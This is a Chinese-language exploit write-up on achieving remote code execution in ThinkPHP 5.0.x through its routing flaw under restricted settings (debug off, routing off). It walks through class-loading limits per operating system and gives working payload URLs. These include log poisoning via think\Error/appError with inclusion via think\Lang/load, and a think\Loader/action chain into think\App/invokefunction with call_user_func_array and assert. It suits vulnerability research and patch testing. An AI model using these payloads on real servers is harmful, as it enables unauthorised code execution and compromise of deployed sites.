突破某场景下tp 5.0.x 路由代码执行漏洞
// 应用调试模式 'app_debug' => false, (默认true) // URL参数方式 0 按名称成对解析 1 按顺序解析 'url_param_type' => 1, // (默认0) // 是否开启路由 'url_route_on' => false, //(默认true)
url_param_type url_route_on
- ThinkPHP 5.0.5-5.0.22
- ThinkPHP 5.1.0-5.1.30
- Thinkphp 5.0.0 rc4-5.0.23
而在if代码块中Route::check函数间接调用了Request->method()方法,从而进行覆盖变量,但是这里还不是执行
要执行还得继续往下走,再触发一次Request::instance()->input()方法
由Request::instance()-->param()间接调用Request::instance()->input()方法,用覆盖的filter来对输入参数进行过滤,从而触发代码执行
0x03 突破
先来讲讲一些坑点:
win环境中严格区分大小写,导致了很多类其实是没办法加载的,这个我在之前的文章也分析过:https://www.cnblogs.com/r00tuser/p/10103329.html
// 是否自动转换URL中的控制器和操作名 'url_convert' => true,(默认值)
http://127.0.0.1/index.php/?s=think\Process/start
可以看到实际找到的class为think/process,对应找到的文件为think/process.php,而文件实际的文件名为think/Process.php
(本地环境是win,仅证明linux的情况)
而测试过程中也发现了个有趣的点,在Mac下,php文件包含是不会区分大小写的
所以无论在win还是linux下能够利用的类就只有一开始程序已经加载的类:
think\Loader think\Route think\Config think\Validate think\Console think\Error think\App think\Request think\Hook think\Env think\Lang
http://127.0.0.1/index.php/?s=think\Error/appError/abc/%3C?php%20phpinfo();?%3E/
用<script language="php">(php<7)的时候,也因为</script>结束符有/ 符号而被切割无法正常写入日志
http://127.0.0.1/index.php/?s=think\Error/appError/abc/%3Cscript%20language=%22php%22%3Ephpinfo();%3C/script%3E
而尝试去掉闭合标签,也会因为后面的日志导致报错
http://127.0.0.1/index.php/?s=think\Error/appError/abc/%3Cscript%20language=%22php%22%3Ephpinfo();
包含:
http://127.0.0.1/index.php?s=think\Lang/load/runtime\log\202009\08.log
思路2:
前面说到由于没法自动加载类的原因,导致能用的类少之又少,所以我们必须在下面的列表中找到能利用的
think\Loader think\Route think\Config think\Validate think\Console think\Error think\App think\Request think\Hook think\Env think\Lang
在一遍遍分析之后,终于在think\Loader类中找到了一个完美的方法action,看到代码:
代码对$url进行pathinfo取值,获取pathinfo数组basename索引的值作为$action,而$module从数组dirname索引中获取,如果数组dirname索引的值取不到则取当前控制器名(也就是think\Loader)
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
这里,我们就可以通过think\Loader的action方法间接调用起think\app 的invokefunction
http://127.0.0.1/index.php?s=think\Loader/action/think\APP\invokefunction/function=call_user_func_array%26vars[0]=assert%26vars[1][]=phpinfo()
最终实现代码执行
但是这个payload只能在win下执行,原因是
\ /
但在linux下只能是
/
也就是dirname索引的值会是点号,从而执行不到我们想要的think\App类
http://127.0.0.1/index.php?s=think\Loader/action/action/url=think\APP%252finvokefunction%26vars[function]=call_user_func_array%26vars[vars][0]=assert%26vars[vars][1][]=phpinfo()
win:
linux: